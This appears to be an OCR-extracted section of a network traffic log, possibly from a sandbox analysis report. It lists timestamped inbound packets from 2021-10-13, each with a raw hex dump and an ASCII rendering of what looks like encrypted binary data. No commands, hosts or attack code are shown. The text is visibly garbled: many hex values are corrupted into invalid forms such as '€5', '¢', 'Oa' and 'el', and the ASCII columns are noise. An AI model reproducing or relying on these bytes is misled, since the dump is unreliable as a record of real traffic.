a9 db 9a 5a 05 7c 3d 75 f8 cf ed €5 5¢ 00 d7 56 29 a6 58 d1 db c7 75 14 27 28 20 f9 be 43 07 6¢ 32 2a a6 el 08 6a 47 fO
df el 2c 70 41 61 7b 4c c4 55 29 64 Oa fc 66 09 8b 9b 93 bd ac 91 66 44 18 cd 11 2f ca e8 61 31 73 49 Oc 2b f7 9e 6a 15
91 26 92 df b3 03 a3 13 58 53 43 af e8 04 7c 4d 3e 99 b2 45 64 7d 30 4d el 57 3d cb a5 c0 fd 4b Oe 7e 5a 65 02 1c 1c ed
b8 41 3b d3 63 a7 al cc ae 40 04 6b 80 60 b4 3f e0 22 74 7e 49 ac €3 86 0a 34 9f 97 1f 5b Ob ea bc 87 3c d0 99 85 6b 1la
27 52 4f 16 3e 21 94 e7 0d 5b dO d3 bc 4d 4e 07 4b 6d bb e7 €3 11 e2 24 6b de 3b f4 79 ee al a0 20 c2 a9 6¢ c0 f3 5d 14
70 44 ad 4f 22 b3 c6 Oe 5f 67 75 77 85 d2 f9 de 29
Data Ascii: 2\v/sy Z|=u\V)Xu'( CI2*/G,pAa{LU)dffD/als|+j&XSCIM>Ed}OMW=K~ZeA;c@k ?"t~14[<k'RO>/[MNKm$k;y
I]pDO"_guw)

2021-10-13 13:51:48 UTC 206 IN Data Raw: ec 73 c4 9e 69 6a ab 95 bb 07 e2 b6 62 e4 75 a4 19 Ob 4c bl 7c c9 88 ea 6f cf 52 34 Oc fe b1 19 fa cO 77 05 15
8a a0 40 b4 a6 74 54 d7 9c 65 cd 66 a8 cf 78 c¢6 9f 92 29 bd bb 10 2b 7d 26 23 c4 €9 c7 e3 58 el c8 d2 5b 12 f1 12 51 f6
ca 07 fc cO 4f b9 43 1c 9c 7e 8d 78 79 02 22 dd d8 f1 8f 45 f0 20 4c 1a 90 7 64 Oc f4 b3 27 99 51 21 67 d5 b8 b9 17 39 a5
a3 1c ec 8e f7 8d 9b 40 5f 42 18 4e b5 d8 22 f3 el 77 fd f2 aa b6 cc 4d ef d7 57 41 9d 04 7b 64 c8 86 45 49 01 56 79 15 fc
2f 75 2d 6¢ 29 87 61 9b 57 26 21 b6 d7 a8 93 fe fe ec 8d 5d 61 05 3f 19 e8 08 af 7b 2d c1 4a be e5 88 ce bf fa 67 03 f1 e9
ad 69 13 17 d7 84 3f ee f2 cc 12 db a0 0d c5 dc 9e f9 48 8c e6 38 €7 87 9e 36 9c f6 4f ea d3 60 bb fd ce 45 b0 22 7b a2 61
5f b6 81 b4 68 5¢ b5 72 8b 1f 13 16 71 4f
Data Ascii: sijbuL|oR4w@tTefx)+}&#X[QOC~xy"E Ld'Q!g9@_BN"wWMWA{JEIVy/u-l)aW&!]a?{-Jgi?H860 E"{a_h\rqO

2021-10-13 13:51:48 UTC 207 IN Data Raw: 9f 2a 2c 62 76 5f b8 a9 fa b9 e2 fb 79 4c a8 fe 97 01 e3 ¢5 Oe 2¢ 99 9f cc 90 fc ¢7 12 27 82 55 2e 60 d1 9d ad
el aa b3 7 52 bf ce 8a 08 60 77 26 95 07 3e 14 ea c6 b8 2¢ 57 ba 11 bf 25 07 73 25 6e 2e c1 91 al 82 91 5f 60 ba 68 8a
96 26 28 03 38 7a 5e 33 d2 1f 97 6e fa bd 0d 1e 19 d6 dd 97 7b 78 64 e3 6a el 82 67 17 46 a8 c6 3e 8b f3 ch 55 e0 43 7b
31 04 1e 43 00 Oe 2a d7 4b f9 15 9e 28 ae 23 6f 62 85 47 5e 62 3a 84 1f e8 a3 e4 8¢ 5e 4f 71 a0 5b 10 9f b8 8f 57 1c 8e 3f
dc aa 0f d1 aa 38 59 d2 47 2c 15 2e 2a be 86 f3 06 51 84 4c 63 b0 56 17 92 c1 8b 8c 26 da be 22 0f 84 11 1a b4 7f c8 1d
d1 2e 47 9d 88 3c f6 b7 11 dd 84 d5 3d 93 31 27 22 00 18 e2 85 d2 09 1c 9c 2e 06 Oa 7f 9 16 bd Oe 26 77 ed 01 18 3b f8
4a 20 fb 91 f8 4a 72 b1 a6 03 7e ed cb 39 06 7a fc
Data Ascii: *,bv_yL,'U."R'W&>,W%s%n._"h&(8z"3n{xdjgF>UC{1C*K(#0bG"b:"Og[W?8YG,.*QLcV&".G<=1".&w;J Jr~9z
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:51:48 UTC 208 IN Data Raw: 39 d8 c8 47 fb 42 bd 02 1f 78 74 50 63 fb 81 85 6b 20 65 c9 66 74 1a c2 d3 e4 la 3f 1e 1a 57 99 ef d4 ae 34 15
06 df 56 dc a3 94 29 eb el 69 a8 13 28 3f a2 c5 f4 1e 99 d6 b8 Oc a9 e3 Oc a7 7e 29 79 fe 3f 01 Oe al 5¢ bd b9 d1 09 21
dd d2 66 98 00 50 29 62 Oa a6 bf 32 28 31 02 25 21 3d Ob eb 3e 70 4a c8 84 47 44 51 fd a6 1c e9 f2 4b 0a d8 3b eb 5a 9b
08 55 ¢3 60 45 fe 27 3e ¢3 a0 67 02 01 19 5b f4 ce 69 3c b7 b0 ea 3a 35 20 8e 66 3d 02 ab e6 8f d4 28 2c 09 2a f3 ce a5
16 b6 30 91 07 ab 22 c0 f9 ed Oc 19 f7 85 74 f8 8¢ 38 93 4e 9d 3f 1e c8 85 ed 3e f1 6e 5d ca 5a al 64 c4 63 2a 2f 12 65 17
Ob 3c 6¢ 32 11 6 dc 6f cd a0 be f6 71 27 1c ac 3 25 b4 37 40 3d 35 91 f8 3¢ 44 1e 47 01 cc 7c Ob bc ab cc 72 66 86 9e 77
a8 16 43 4c 8f d6 0a 7e 76 0a 69 7d 88 c4 87 74
Data Ascii: 9GBxtPck eft?W4V)i(?~)y?\IfP)b2(1%!=>pIJGDQK;ZU E">g[i<:5 f=(,*0"t8N?>n]Zdc*/e<I20q'%7 @=5<DG|rfwCL~
Vit

2021-10-13 13:51:48 UTC 209 IN Data Raw: 97 58 f3 el ff f9 de cf 33 27 dc 43 b5 df 8f 8¢ 19 c1 27 94 dc 27 38 a8 da 7b 82 f2 dc 76 3f 8c 41 8f 8c Oc ce e2
a4 97 c8 81 ec bd 7e 66 c0 f3 91 bc 4f c7 b9 a0 70 41 8e 91 1d b3 71 7d 2e 85 3f a5 a3 8e b6 45 82 9a bf 35 7a d9 44 6a
5d 11 af ed 2d 01 dd 9e 98 85 27 Oe ff 18 2b 38 al 18 cc €8 6f d9 05 5¢ 25 2f f3 05 fb cd 91 b0 48 ¢3 31 56 63 13 35 65 a7
bd df 1e 18 ¢7 50 32 25 85 e6 a9 51 66 4d 19 e9 fb 33 5e 1c a9 75 11 dd Oe 98 7e af f7 9e al e3 21 d8 77 15 a0 d0 dO 5
8f 14 b1 4b 11 88 18 2a ed a7 30 1f fc b0 3d 00 88 ac bc b3 1e c0 fa f4 54 79 85 f6 19 31 79 7f ef d6 89 42 2f 6a 74 30 cd
bf 76 94 35 69 de 9e 94 eb 6d 3e ee 68 bb 1f 43 be e0 bc d2 7b 42 77 5e c4 0d Oe cb 82 71 df f7 ec a7 69 13 49 28 25 08
2d 56 43 a4 db 8a ba ab 07 45 ab 7b 4c ef d9
Data Ascii: X3'C"8{v?A~fOpAq}.?E5zDj]-'+80\%/H1Vc5eP2%QfM3"u~wK*0=Ty1yB/jtOv5im>hC{Bw"qil (%-VCE{L

2021-10-13 13:51:48 UTC 210 IN Data Raw: 29 dd 4d 43 54 42 16 7f 9f da b1 a7 ca ed 76 4a 4c 53 4f a2 b4 d4 b6 56 f1 84 2b ce 91 22 f0 f9 92 23 d1 3d 53
98 77 9c 1f 61 7a ce 4d 87 a3 4b c4 a5 5¢ 73 f4 4c 4f 40 59 97 27 9a 2b e5 e3 a6 1c b5 9c 67 e7 19 af 14 93 ¢7 96 94 23
ab f0 08 bb a5 5e 33 d3 c8 29 3a 80 ce e2 27 53 9a b6 3b ea 02 ae 58 a5 15 51 b7 92 32 1b 1b 30 ae c6 96 ac 7d c3 a9
19 41 f0 4b 7f d8 83 c7 1c e4 66 7e 31 6b 17 ac 68 c5 9e a0 83 6¢ 3a bb 6d 9e 36 39 5d 58 18 ad 2f cc df b1 64 29 8c ad
le a5 ed 2a bf 98 83 02 c0 77 79 al 44 bc 6a el b3 54 4e b4 07 31 3b ac 40 7c 24 15 76 c6 4a 2d 22 32 18 7f b0 09 99 8b
7c 00 78 07 cf a9 bd 6a ec 3c e4 1a c7 0d 9f 18 €9 06 80 86 45 90 31 99 b0 f4 b9 3 aa 6¢ c3 f0 65 11 69 cc 1c 4b 86 63
72 8e 50 6¢ 53 d4 7b 4e ee a2 7b 05 9d 07 97 03 0d d9 8b
Data Ascii: )MCTBVJLSOV+"#=SwazMK\sLO@ Y'+g#"3):'S;XQ20}AKf~1khl:m69]X/d)*wyDjTN1;@|$vJ-"2|xj<E1lleiKc
rPIS{N{

2021-10-13 13:51:48 UTC 211 IN Data Raw: 19 63 51 80 04 ab c4 07 f4 9f f4 14 57 b8 4a 27 01 Oe fa Oc 36 ad 8e f2 7f e6 df 3a 75 cc 55 da 6¢ 41 36 69 2b
9f 31 83 03 ca ad 6d 61 6d Oe 21 f1 0a 79 6¢ 34 97 23 e3 6b al c7 71 d7 b0 e9 b9 b9 af e3 2e 26 67 b4 1e 18 66 66 18 4d
4d 2b cc 19 15 5¢ 20 13 2f 89 bd ff 16 dc 16 f9 2c a0 f1 14 20 a3 77 01 75 61 ca 9d 17 7 53 bb 3f 6e ac 5e 5f 6¢ ac 45 86
ea 30 5a 57 2f 59 40 2e 02 02 36 45 c5 5d 2e a5 e5 42 eb 19 ee 84 5b 13 2b d9 76 92 53 b5 56 24 e2 3b bd b4 99 f6 80
61 43 e0 05 c4 0f 18 06 2e 76 37 a4 38 ff 31 e0 68 64 b0 9d 51 40 92 ba Oe 7c fb ¢7 04 1e 9b eb 83 13 2b d9 c3 ca 0d 02
7594 93 e4 1c 1e 7b ee cf d5 7c 8e 95 5¢ 95 3f b8 93 9e 88 70 e4 6¢ 18 42 8e 15 32 0f d8 7a 08 b9 9c d5 16 7a 75 2¢ 47
12 73 f5 4e ec 9f 3f 55 53 6a 80 fb 6f 3a c0 a3 7f 7f
Data Ascii: cQWJ'6:uUIA6i+1mamlyl4#kq.&gffMM+\ /, wuaS?n”_IEOZW/Y @.6E].B[+vSV$;aC.v781hdQ@|+u{|\?pIB
2zzu,GsN?USjo:

2021-10-13 13:51:48 UTC 213 IN Data Raw: f8 85 80 10 al 20 4a d6 c6 7b 3 44 fa fe 77 3 67 90 c3 c2 03 92 4c b0 eb 8e 7a b2 78 e0 d4 2d a0 bd 34 85 36
84 46 ca 7d 6b 4c 23 ea ff 3e 9e Oc €8 31 34 ¢5 56 bc 21 1b 7d 42 00 04 9d d3 7c 7f 63 5a 87 da 5d 7d 21 83 5¢ 9c 9a 28
5395 el a6 b7 1d 70 c3 ec 82 d3 47 cc b5 96 42 f2 78 60 44 99 2e 6e 5¢ Of 7d 50 7e 43 47 76 32 5¢ c0 39 9b de 7f 18 ae
2477 45 c6 6d 1e 57 82 5e e5 b4 6¢ e3 ee c4 ec e9 ff 3f a5 cf 34 bf ae c2 ce ef 90 a7 6a 35 b9 be de ¢3 88 1d 77 63 78 24
3c5af5adOaeadba3 99059117 19 28 d5 85 52 51 41 f8 b8 f6 86 39 Oe 67 fd bd d3 f3 93 cd 92 6¢ ef 1b 8f d0 f6 08 cc
60 9f 9a 9d e6 c9 44 ¢5 d0 10 73 0d e0 5¢ 67 a3 7b 51 0d 86 19 21 dc c5 1f a2 cd ee 04 9c e4 ed 46 04 65 a4 3c 97 b6 80
3a a9 b6 c3 a6 4c 06 30 e4 12 63 el 4b 9e 24 28
Data Ascii: J{DwgLzx-46F}kL#>14V1}B|cZ]}\(SpGBXx D.n\}P~CGv2\9$WEMWA"I?24j5wex$<Z(RQAgI Ds\g{Q!Fe<:LOcK$(

2021-10-13 13:51:48 UTC 214 IN Data Raw: 16 60 c0 8d 50 17 73 a9 87 c2 7f 4c d3 96 69 e6 37 ¢3 3c f7 17 48 7a f4 b3 12 e7 c2 c6 ee c7 a6 db be 5e 99
4b 3c 92 73 7a 35 4b 5f 17 9f ed 76 40 cd 57 24 5d 51 d2 b6 d5 35 d8 a9 a2 14 b4 6d 2d 9d 10 11 e0 ca 53 72 23 64 43 fe
5d 32 78 dc b4 9b 76 9a 9a f8 d9 74 e4 54 23 40 06 47 ca 74 e7 c8 9e 1b 8b ef 1b af 27 00 cf 9c 64 68 c5 7d 47 b7 2c 48
b2 01 bb 9a c1 c7 9e 84 ae d6 3c 16 07 cf db Ob b3 7f 2f d7 76 cf d3 e7 15 49 42 6d e2 26 23 a6 93 6 4c 2 4b f2 30 68 88
fO bf 31 a0 bc 54 af a3 ee 94 de 60 12 4f 47 4a 65 05 c9 01 fO 1a 6b ad 72 4f 7d 1c b4 15 11 6b a4 fa e9 20 39 90 b2 cb 07
22 bd 77 60 bd e3 2c 73 db 23 70 8e 67 33 2a 89 5d ac 5b 66 le f2 €9 8f 65 Oc 79 b4 41 12 8f 37 dc c0 83 67 fe al 60 66
Oc 5¢ b5 70 ¢8 5f 1f 7d 10 a4 5b 89 00 70 al 6f 7b
Data Ascii: “PsLi7<Hz"K<sz5K_v@W$]Q5m-Sr#dC]2xvtT#@Gt'dh}G,H</vIBm&#LKOh1T OGJekrO}k 9"w’,s#pg3*][fe
YA7g f\p_}[pof

2021-10-13 13:51:48 UTC 215 IN Data Raw: f6 36 28 9f 5¢ bb 27 c1 b6 28 ae 5¢ b3 cc 52 48 39 04 3a ce 67 25 b5 4d 69 05 a3 10 d5 5¢ 42 46 ¢4 9c 71 b8
36 2f 1e f7 d1 c2 0f 8a 07 b4 ba 3e 21 d1 25 49 cc 2b b1 07 b7 6b f6 db f2 87 b2 52 27 4f ed 66 52 5e f1 f3 21 a2 06 85 fe
7 89 53 69 0f 47 e4 91 78 68 dc 1c b4 b9 d6 60 78 7c 72 bf c5 eb Of 7b 26 dc 22 f5 5¢ 96 a0 dc 13 ¢6 62 7d ef 5b 5¢ 30 44
00 1a 57 b3 16 1a d2 97 20 36 79 3a 79 2f 1f fc 09 5a 59 55 8a 98 23 38 3f c0 39 d1 65 1b 4d b9 00 00 dc e3 da a9 32 86
26 52 ba 5c 6a 4f 18 bd ec 6b d3 28 16 6b 0d 68 da 79 51 c3 74 ae 4a f9 21 4f 30 cf c7 f3 9d 5f 07 9e 5a 05 ¢4 05 52 2e 7d
9e 8b 0a b7 e3 bl 24 78 68 fe b6 d7 f3 92 33 80 d9 7d 23 f9 09 95 bl e8 1b 72 7e 2a 62 4f 63 6d f1 91 e4 9f el b2 bl ab
15 a4 70 6a 54 04 af b0 d5 71 0Of fc e4 3c 91 41
Data Ascii: 6(\'(\RH9:9%Mi\BFq6/>!1%I+kR'OfRANSiGxh X|{&"\b}\ODW 6y:y/ZYU#8?9eM2&R\jOk(khyQtJ!O0_ZR.}$xh3}#r~
*bOcmpjTg<A

2021-10-13 13:51:48 UTC 216 IN Data Raw: 3f 8e 5b 93 16 db 9e a7 a2 f0 31 a0 09 71 7b f1 fa b6 1d b8 51 c2 ce 7a le cO fc fO 2c 6b c1 48 01 3c 91 fa aa
a3 f8 42 51 d4 28 bd 48 5b fc 03 49 87 2a da 50 eb 6d c7 3c Of fb cO bl ef 08 41 7c d2 3e a3 63 44 98 6f 34 09 c3 Oe c4 ad
4d 39 fb 62 44 60 62 a0 e4 23 70 96 ab 66 4a 98 Of 4e c7 5d b8 b3 8f 9f 95 2d 87 c9 37 a3 33 f4 36 fc Oc 59 48 cf e6 4 0d
89 4a 77 5¢ 5a 82 63 fd 06 e2 4c 0d 5f 18 72 f1 fd 97 87 bc b8 fd 29 61 de 24 11 88 fd a0 37 e5 72 45 c1 6¢ le ee 92 5e e5
bc fd 43 3c ¢5 be bf 76 24 66 7c a5 5d f2 01 89 ff ab 1b bd 31 7d b0 df c3 50 le ec 7c 42 24 f4 76 59 04 c7 60 61 b2 2a 12
f2 6d 22 df d3 81 6b dc c7 48 26 90 23 e4 f6 fa cc ¢4 be f5 3d bf 97 d6 55 €0 53 ¢8 6 74 8b ac 12 16 03 fe c9 80 55 a4 6a
64 a2 92 f6 e3 f5 92 ed fb 29 Oe 0d Of
Data Ascii: ?[10{Qz,kH<BQ(H[I*Pm<A|>cD0o4M9bD b#pfIN]-736 YHIW\ZcL_r)a$7rEINC<v$f|]1}P|BSVY a*m"kH&#=UStUjd)

2021-10-13 13:51:48 UTC 218 IN Data Raw: 8e 95 5a 45 6b cb ea 81 4d 35 18 2¢ 91 cc 96 9d 7a ef 62 bc 3¢ 31 ¢4 31 ac ac 71 1c 4f 21 a2 7f el bf 77 b4 a4
31 71 49 ¢8 b0 60 4c 62 ef 9¢ 5 ca 39 5b 2f 41 37 47 Oc 43 1e 64 4f 9a 13 ¢6 09 67 fe ca 8d b9 70 04 ee ad bc fb cc 84 70
1b 2f 89 8e 5 d6 ff fb Oc 85 aa a0 81 27 bc 43 52 e6 Oe 1f c5 9b 47 6f 85 2d e2 d5 3b bb 78 ac d1 40 66 b7 c4 28 11 7f 2e
e5 96 e7 46 7a 1d 69 ea a5 22 39 ba 51 62 6¢ 10 92 d2 db 50 47 c8 cb 15 19 85 ba 48 a7 6d cb 01 f5 54 a7 41 4d b8 ac
Oe 3c 2a 30 32 ba f7 65 f5 fc ab d1 e4 68 7e ed 24 7b 56 18 50 3c Oc fO b9 4e 39 40 ae 05 09 7e f3 4d 65 99 8¢ 14 ac a3
ee 4e b8 54 c9 bd d8 56 14 79 6¢ 75 e8 61 be af fb 81 4d b3 7c 2d ef e5 d8 74 ce 67 73 cd 4c e8 de 7a 96 28 19 40 6a fa
4f 1e dc 5 8d b7 30 b1 b3 cc 53 a4 99 c6 5f dd 26
Data Ascii: ZEkM5,zb<11qO!w1ql'Lb9[/A7GCdOgpp/'CRGo-;x@f(.Fzi"9QbIPGHMTAM<*02eh~${VP<NI@~MeNTVyluaM|
-tgsLz(@jO0S_&
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2021-10-13 13:51:48 UTC 219 IN Data Raw: al 97 53 db 5f 91 fe 25 ab e2 f1 a8 f6 17 7b d4 7a 4a 3d f0 6e ad 44 dc c9 cf a2 65 c9 d7 61 4d 18 62 08 18 5d
4d 33 71 11 e7 b2 40 49 e5 44 14 95 6a 3f 67 c5 b7 5e 58 b9 90 33 02 c8 9a bd 40 db 47 2c 5d 35 a6 79 78 96 cf 09 b5 ac
41 04 0f 6b aa 6e 25 2d 66 43 5f 01 a3 6a a6 dd 02 6d c4 d8 d0 11 69 75 b7 13 70 2c 12 2f fd 56 f9 9c 80 02 0a 90 5c 68
04 77 7f 7c bd bb f7 41 f7 ab db ee 62 ee f8 b4 c¢6 00 9b 23 32 92 13 €9 57 3c ce 64 d0 17 2e 9b 03 40 fc 99 d9 9 fe 4f c6
f0 a9 90 6b 8d f5 6b dc af 7b €3 96 e4 67 96 43 c1 35 c4 d8 3b 8¢ 94 67 58 03 f8 bb 1f d2 fa e7 c9 5b Oe 05 32 37 b0 2b 7
ef 3e 96 a9 5b ad 93 af 9f bd 99 10 d7 1b 72 43 bb 6¢ 72 ee 8 5e b3 c5 a2 15 ac 55 03 c3 46 77 7f 25 63 ea f3 37 67 b6 3f
b5 9 fc 8a 19 ¢8 52 e2 93 bd 1b 67 92 0f 87
Data Ascii: S_%{zJ=nDeaMb]M3gq@IDj?g"X3@G,]5yxAkn%-fC_jmiup,/M\hw|Ab#2W<d.@Okk{gC5;gX[27+>[rCIr"UFw%c
79?Rg

2021-10-13 13:51:48 UTC 220 IN Data Raw: 30 66 63 31 f7 04 b2 25 5d 20 ce e5 2b d5 45 03 42 al 43 9a 49 61 8b d7 b8 b9 f0 17 a2 a3 96 eb 4f fb 71 a4 ef
12 3d f6 73 aa 23 7b 71 81 e4 fd 70 55 38 36 15 Oc 9c f9 bc 11 76 36 37 aa 87 13 48 fe c¢3 86 bf Of a4 f2 45 9¢ d6 87 cf 32
f9 8a ba 49 5c 87 9f 63 34 ee ad b2 c0 c2 60 88 b8 e0 e2 2d c8 9c Oa dc 03 fa 5b 40 1a 6a d7 3c e4 9e a9 96 bf 28 2f e9
60 al 19 35 13 7e 7c Ob f4 4c 2c ab cc 5a b2 f4 00 47 af 8a 66 78 49 e8 db 35 7b 9d a3 67 39 33 4a e4 54 b8 03 ae e6 11
ec 8f 65 a8 2c b8 00 84 48 04 02 11 6 ae 32 2d ff Oe ab cf 2b c4 c¢7 98 cf el f2 d7 be b3 e2 06 ¢5 64 23 4d 8¢ 0d d9 07 72
7323 f1d5 71 a5 cd a3 f1 8¢ 2f d6 83 23 56 6¢ bb 55 ¢7 12 74 4c 7d 46 95 9e ee 01 6e c8 cf 8d c8 ef 98 09 28 e2 c6 7b 0C
25 14 eb 7 f3 28 bd eb 2e fc 9c b9 af 02 6e
Data Ascii: 0fc1%)] +EBClaOq=s#{qpU86v67HE2I\c4 -[@j<(/'5~|L,ZGfxI5{g93ITe,H2-+d#Mrs#q/#VIUtL}Fn({%(.n

2021-10-13 13:51:48 UTC 222 IN Data Raw: 3d 79 34 c9 94 6¢ de 0f 73 22 59 35 17 bc 14 07 4d 9b ac 85 5¢ 87 70 a4 81 61 dc 50 be 6a a6 dd 40 19 6e d6
c0 bf 6598 3b 72 20 Oc 3c 82 cd 96 9d 77 1f d2 30 24 3f 5¢c al ad 9c 69 3f 47 12 aa f6 27 1f ce d7 3b cf 43 83 70 22 b9 00
€6 dc 47 20 ab 4a 53 59 72 3e 5f d1 e9 3e 57 24 5b 13 c2 05 d1 e4 4e 44 9c ¢8 95 99 99 22 Ob 96 f2 af a0 ed fb 96 f1 Od
cd e3 d5 3d 85 37 35 ac 91 01 97 26 95 d4 0d 1f 88 a2 85 9a 79 b9 3b 80 ff 28 60 d2 a8 a7 4f 6d 1d fc 49 Oa 4b 9c c4 b8
68 cb a6 2b d7 e3 ab fa 88 66 e7 92 fa 37 05 cb 46 12 50 fd 93 3f a5 2d 18 b4 c9 49 ea 73 c0 9e 6f 72 a3 96 81 f8 60 db 05
70 7e 2f 6f ca 44 7d df 1d 1c b5 09 dc 87 fa 31 f0 94 30 31 4a €9 22 1d b4 17 ea ed c1 b0 40 4a 5e 11 c5 de 60 2c 2f cc cf
6d ab bb 73 f2 5d 8a 52 23 aa 30 bd d9 28 9b db
Data Ascii: =y4ls"Y5M\paPj@ne;r <w0$\i?G";Cp"G JSYr>_>WS$[ND"=75&y;('OmIKh+f7FP?-Isor p~/0D}101J'@J"
*,/ms]R#0(

2021-10-13 13:51:48 UTC 223 IN Data Raw: 5f 0d ed 52 8a 2e 70 93 9b 95 c7 bc 5c¢ 3a bf 4f b6 fb f7 95 7e 5e 63 d5 94 e5 be 62 78 d0 37 aa d6 6¢ 48 68 €9
c9 ff el af c2 8f 75 6¢ 26 2d 58 64 9d 3d 2d 21 al 6e e2 46 f5 bc 60 94 80 6e 21 2d c5 34 06 ae 90 9c bf 77 c4 7d 88 ea a2
4c 9a 00 24 40 70 3c 4d 6¢ 81 f5 c1 95 33 02 ¢8 9a bd 4f 6d be 8f 9e ae f2 89 53 37 7b b6 b2 e3 6d a9 b9 3e ac d7 eb f1 fc
11 b4 3 5f 42 4c a9 80 37 c2 28 54 e2 20 42 64 5a 39 8f 8d b5 61 9a c9 15 05 06 7a 28 a7 36 3 63 6a ae a6 7e 64 1e 01
a4 b3 44 16 54 ff Ob 50 de 70 dd b9 44 76 66 18 71 f5 5a bd c0 61 06 fa 01 cb d2 1a 72 ea a0 2d 7a 7f 50 47 5b ee 26 94
03 85 29 47 88 ef 6b d9 c6 c0 12 97 d3 8a b8 52 c5 db e4 0b 3c db a7 be 5 38 50 ba be 4a 4f 18 bd ec 7f d3 28 6d 04 bl
e3 dc f2 91 46 f6 da bl 37 34 a6 fe a7 8f 62 84
Data Ascii: _R.p\:O~"cbx7IHhul&-Xd=-InF"n!-4w}L$@p<MI3OmMS7{m>_BL7(T BdZ9az(6cj~dDTPpDvfqZar-zPG[&)Gk
R<8PJO(mF74b

2021-10-13 13:51:48 UTC 224 IN Data Raw: c9 01 9b 64 31 28 b2 ¢3 3d 71 33 d5 64 a9 ba 3c 17 5e 05 c2 e6 23 al fd 55 a3 c¢7 78 eb 2a 77 d0 9a c1 8c 67
33 cd 42 5d ac 5b df 4f 1a 29 ab 4f 42 f0 6d d4 88 27 9b 74 7a 44 87 a9 28 66 3a €6 90 b5 13 27 d7 10 d2 54 30 bb cf e7
7e 25 0d f0 bb f3 21 be 90 f4 fc d5 23 33 b6 3a 80 cb 70 52 ee 53 f2 3¢ 79 fc 2b aa 7d 01 9e 52 9e 31 cd bf 8f 69 6 2a 3d
6c c6 66 e8 d2 4b 14 fa 6f c3 33 80 41 59 d2 90 9f 92 6¢ df f1 34 75 f8 4c c0 6d 5 94 ec b6 67 a2 6d a9 13 92 21 1b ae 6e
de 76 5d a6 f0 d9 e0 4e fd 25 d6 f0 6a 7b 28 36 79 f5 8¢ d8 58 d9 c3 c9 76 3d cb 2b 0a 53 Oe d4 e5 el 0Of 87 cc 21 2f c4 3d
d7 92 75 a9 5b 40 47 02 2f 61 e7 c9 a0 8c 43 91 70 08 fb 48 67 d3 99 24 85 5f 66 fb 0d d6 44 bl a8 34 {3 22 c4 d8 d1 e8
9 2a 9e 52 20 {7 bf 19 31 ed 84 48 e6 15 a4 82
Data Ascii: d1(=q3d<"#Ux*wg3B][0)OBm'tzD(f:' T0~%!#3:pRS<y+}R1i*=IfKo3AYI4uLmgm!nv]N%j{(6yXv=+S!/=u[@
G/aCpHg$_fD4™*R 1H

2021-10-13 13:51:48 UTC 225 IN Data Raw: 2f 8b 91 d5 bb b5 06 73 25 d0 2f 61 99 6 82 a2 4f 68 50 d4 0d d3 ca 47 76 66 7f e6 b5 65 08 1d 36 3e b9 d1 84
a2 00 49 d1 38 c8 9d 37 35 bf 09 d2 93 5 1d cd fb 48 4b 1d 1a 08 9d c9 86 e2 43 80 d0 27 el a2 c8 8¢ ee 42 47 14 a0 e3
3c 91 b9 9f 40 da ae 71 f4 28 39 58 d1 14 89 79 78 11 fa fe a1 95 10 1c fb d4 58 82 8¢ 7e eb b3 8d b3 af d2 a5 b9 3f 85 2f
78 6f b7 d5 5d d6 4f 10 93 90 85 dd 58 a7 3c c1 5¢ 36 5a 7a fc 70 cd €0 el 4f be ca 76 c3 8a 9b af 8b 4d d7 b6 d5 b8 21
6a 34 eb 1d d6 00 25 bf e5 63 Oe d0 5 d1 23 ab al 54 68 57 72 c2 91 c0 79 47 al 1a 1d 9a e4 a4 6¢ cd a2 3b cb 75 c6 b6
66 98 18 1e af 26 53 5e 8e 87 b0 ad 7b 45 3e 71 cc b6 d1 9d ee 63 0 46 bf c7 da 99 0f 10 f0 e1 a2 91 fd eb 7c 86 07 b6 71
98 de ba 90 94 84 89 c9 25 6d 62 76 f4 7f 8e 44
Data Ascii: /s%/aOhP Gvfe6>1875HKC BG<@q(9XyxX~2/x0]0X<\6ZzpOvMIj4%cHThWiyGl:uf&SME>qeF|%mbvD

2021-10-13 13:51:48 UTC 226 IN Data Raw: 12 2a c2 7a 3f 5f 8f d2 ab 64 49 14 52 5d be 27 84 b8 d6 98 9e ca d8 32 52 bb a5 04 fd Of 49 ¢5 51 77 a7 c9 ee
8d 1a €5 18 c5 f4 bf ¢4 13 55 €8 19 b8 5¢ 1d d2 fa 62 a6 99 53 b5 06 06 2f 80 a4 b4 99 6 57 64 be be c6 93 b5 56 4e 2b
74 37 2d 6 6e bf 9a 94 12 c1 8 34 ¢9 17 4b 7c ab 07 2f 10 04 6a el e8 6d 95 85 c2 f0 €6 74 99 48 c3 Oc 18 d7 ba el 29
fe Oe f4 68 28 3f 40 5f 15 2e 62 84 15 3¢ 91 75 ca 16 32 Of 62 34 a3 6b 16 ab f9 7d e4 af b9 ed 05 2b 7 a2 1d 6e ba 54 d7
83 04 90 4e eb 3a 69 95 45 23 43 03 33 18 6a dd 80 86 6b d7 45 c4 78 29 f6 ab db c2 19 1d ce d1 6a 80 80 37 4d 3a ea
4abc 20 2b €2 b2 58 1c 08 80 36 87 dd be 56 c8 14 69 18 5d ce d0 41 ee 8b 23 Oe a3 99 14 al 31 3a 73 23 4b 47 ec 0d fa
65 6e 16 48 09 ad 3e 9b 2b 38 ac 57 1e b1 f0 67 8d 1a
Data Ascii: *z?_dIR]'2RIQWU\bS/WAVN+7-n4K|/jmtH)h(?@_.b<u2bak}+nTN:E#CIKEX)j7M:J +X6VilA#1:s#KGenH>+8Wg

2021-10-13 13:51:48 UTC 227 IN Data Raw: Oa 6a e3 97 d9 87 9f 27 3f d0 3f b4 44 17 2c 83 37 f5 05 f4 b9 a6 3a 31 8e 44 4a c5 24 9e 15 97 b0 b3 f2 d5 09
0d 39 ea 53 84 47 7a 9b ce 7h 39 27 2e e6 24 27 18 69 c0 64 6 fb 07 6f 21 5b fa 1d ec e5 cb 45 91 9e 09 52 a3 88 49 9¢
31 ee 0d ee b6 5a db a3 e5 25 66 42 cb fc fb c7 80 88 8f dO b8 e6 6¢ 32 49 4f 17 5e 82 4d e6 8b 08 6b da 11 65 68 a4 32
aa d6 b9 de b4 0f €5 8b f1 fb ed f9 79 e6 2f 9d 2d 61 9d 3d 3b 28 2c fb 43 23 1c 72 f4 6a f4 dc 63 af 56 5f 07 c4 13 32 bb
aa Oc 00 54 9d 18 bb 41 07 2c 6b 24 cd c6 b4 09 el 1f 39 Ob b8 a3 46 b9 1f 85 db 34 72 ae 7f 04 df Oc c1 bd a3 Ob eb a8
7f 7b d9 82 73 7a Oc 84 f2 f9 b7 6b a6 56 97 36 81 ad d8 2d 16 3e f0 9f f1 d7 d3 c4 38 33 bd 2b 03 b6 bf b9 5 13 22 17 1e
